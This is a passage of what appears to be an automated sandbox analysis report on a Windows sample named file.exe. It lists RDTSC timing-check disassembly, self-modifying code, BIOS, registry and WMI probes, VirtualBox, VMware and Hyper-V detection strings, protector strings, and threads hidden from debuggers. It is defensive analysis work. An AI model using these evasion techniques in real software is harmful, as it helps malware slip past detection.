Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F66461 second address: 5F6646B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7F8931B056h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F68E54 second address: 5F68E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F68E5A second address: 5F68E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7F8931B060h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F68E74 second address: 5F68E78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F68E78 second address: 5F68E93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 add esi, 3EDF1597h 0x0000000e push 00000000h 0x00000010 push DE8F20E7h 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F68E93 second address: 5F68F08 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7F8876E200h 0x00000008 jmp 00007F7F8876E1FAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f add dword ptr [esp], 2170DF99h 0x00000016 mov cx, si 0x00000019 push 00000003h 0x0000001b call 00007F7F8876E203h 0x00000020 and cl, 00000000h 0x00000023 pop edi 0x00000024 push 00000000h 0x00000026 jbe 00007F7F8876E1F7h 0x0000002c push 00000003h 0x0000002e call 00007F7F8876E201h 0x00000033 mov si, 9B0Dh 0x00000037 pop edx 0x00000038 push BC423AF1h 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F7F8876E206h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F68F08 second address: 5F68F12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F7F8931B056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F68F12 second address: 5F68F16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F690BD second address: 5F690CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F8931B05Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F690CB second address: 5F690E3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F8876E1F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5735D second address: 5F57363 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F86BEE second address: 5F86BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F86BF6 second address: 5F86C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F8931B05Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8700A second address: 5F87010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F87010 second address: 5F87014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F87361 second address: 5F87367 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F87367 second address: 5F87380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F7F8931B05Eh 0x0000000c popad 0x0000000d push esi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F87380 second address: 5F873BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7F8876E1F6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f pushad 0x00000010 jmp 00007F7F8876E205h 0x00000015 jmp 00007F7F8876E205h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F87996 second address: 5F879A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F7F8931B056h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F879A5 second address: 5F879AF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F7F8876E1F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F87B04 second address: 5F87B08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F87C72 second address: 5F87C7C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7F8876E1F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F87F0C second address: 5F87F10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F884C2 second address: 5F884C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F884C8 second address: 5F884DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F8931B05Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8860A second address: 5F8860E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F8860E second address: 5F88629 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7F8931B065h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F88629 second address: 5F88635 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 je 00007F7F8876E1F6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F887CB second address: 5F887CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F887CF second address: 5F887D9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7F8876E1F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4D075 second address: 5F4D08D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F7F8931B05Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F55842 second address: 5F55848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9439D second address: 5F943A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F943A3 second address: 5F943A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F943A8 second address: 5F943D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F8931B060h 0x00000009 jmp 00007F7F8931B064h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F943D0 second address: 5F943FF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a jmp 00007F7F8876E200h 0x0000000f jo 00007F7F8876E1F6h 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 pop edi 0x0000001a jmp 00007F7F8876E1FAh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F946EF second address: 5F946FB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F949C3 second address: 5F949C9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F94C97 second address: 5F94CB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7F8931B056h 0x0000000a jbe 00007F7F8931B056h 0x00000010 popad 0x00000011 jne 00007F7F8931B05Ah 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F96FFC second address: 5F97002 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F97002 second address: 5F97006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F97FB3 second address: 5F98000 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F8876E200h 0x00000008 jne 00007F7F8876E1F6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F7F8876E205h 0x00000018 pop edx 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d pushad 0x0000001e ja 00007F7F8876E1FCh 0x00000024 jnp 00007F7F8876E1FCh 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F98000 second address: 5F98084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 jns 00007F7F8931B06Fh 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push esi 0x00000013 pushad 0x00000014 popad 0x00000015 pop esi 0x00000016 ja 00007F7F8931B06Ah 0x0000001c popad 0x0000001d pop eax 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 call 00007F7F8931B058h 0x00000026 pop ecx 0x00000027 mov dword ptr [esp+04h], ecx 0x0000002b add dword ptr [esp+04h], 0000001Dh 0x00000033 inc ecx 0x00000034 push ecx 0x00000035 ret 0x00000036 pop ecx 0x00000037 ret 0x00000038 mov esi, dword ptr [ebp+122D3B6Ch] 0x0000003e call 00007F7F8931B059h 0x00000043 push eax 0x00000044 push edx 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F98084 second address: 5F98089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F98089 second address: 5F98101 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8931B067h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F7F8931B05Ah 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F7F8931B05Eh 0x00000018 mov eax, dword ptr [eax] 0x0000001a pushad 0x0000001b jg 00007F7F8931B05Ch 0x00000021 jmp 00007F7F8931B069h 0x00000026 popad 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F7F8931B060h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F98101 second address: 5F98120 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7F8876E207h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F98731 second address: 5F98741 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7F8931B05Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F987EB second address: 5F987F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F990F7 second address: 5F990FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F990FD second address: 5F99101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F996AA second address: 5F996B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F996B0 second address: 5F996B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F99F6F second address: 5F99F73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F99F73 second address: 5F99F79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9B111 second address: 5F9B133 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7F8931B067h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9B133 second address: 5F9B13A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9C70E second address: 5F9C727 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7F8931B061h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9D11C second address: 5F9D13B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E205h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9D13B second address: 5F9D18F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7F8931B05Bh 0x00000009 popad 0x0000000a pop eax 0x0000000b nop 0x0000000c mov esi, dword ptr [ebp+122D3C34h] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F7F8931B058h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e ja 00007F7F8931B057h 0x00000034 push 00000000h 0x00000036 mov esi, 67035819h 0x0000003b xchg eax, ebx 0x0000003c push eax 0x0000003d push edx 0x0000003e push esi 0x0000003f pushad 0x00000040 popad 0x00000041 pop esi 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9E6A9 second address: 5F9E6AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F9E740 second address: 5F9E74A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7F8931B056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA0333 second address: 5FA0337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA0337 second address: 5FA035A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7F8931B056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F7F8931B069h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA035A second address: 5FA0370 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F8876E1FAh 0x00000007 push eax 0x00000008 push edx 0x00000009 ja 00007F7F8876E1F6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA0370 second address: 5FA0374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA2FAA second address: 5FA2FAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA2FAE second address: 5FA2FD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F7F8931B06Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA2FD4 second address: 5FA307B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F7F8876E206h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F7F8876E205h 0x00000011 push dword ptr fs:[00000000h] 0x00000018 xor bl, 00000064h 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007F7F8876E1F8h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 0000001Ch 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c mov ebx, dword ptr [ebp+122D3C84h] 0x00000042 mov eax, dword ptr [ebp+122D0069h] 0x00000048 mov dword ptr [ebp+122D1C31h], ecx 0x0000004e push FFFFFFFFh 0x00000050 push 00000000h 0x00000052 push eax 0x00000053 call 00007F7F8876E1F8h 0x00000058 pop eax 0x00000059 mov dword ptr [esp+04h], eax 0x0000005d add dword ptr [esp+04h], 00000018h 0x00000065 inc eax 0x00000066 push eax 0x00000067 ret 0x00000068 pop eax 0x00000069 ret 0x0000006a sub edi, dword ptr [ebp+122D3DBCh] 0x00000070 nop 0x00000071 push ebx 0x00000072 push eax 0x00000073 push edx 0x00000074 push edi 0x00000075 pop edi 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA4F3C second address: 5FA4F42 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA3FBD second address: 5FA3FC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA5F04 second address: 5FA5F15 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jl 00007F7F8931B05Eh 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA60A6 second address: 5FA60AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA60AA second address: 5FA60AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA705E second address: 5FA7062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA60AE second address: 5FA60B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BA0BF2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D37968 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DCA6E3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5DEDE73 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5DEB362 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5FB783F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6029A2A instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05F81526 rdtsc

0_2_05F81526

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05F79F17 sidt fword ptr [esp-02h]

0_2_05F79F17

Source: C:\Users\user\Desktop\file.exe TID: 7600	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7512	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7520	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7504	Thread sleep time: -32016s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\3D Objects	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2074944451.0000000000D1B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2084849748.0000000005F6E000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2074061559.0000000000A67000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000002.2074061559.0000000000A2F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2074061559.00000000009E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2074944451.0000000000D1B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2084849748.0000000005F6E000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)
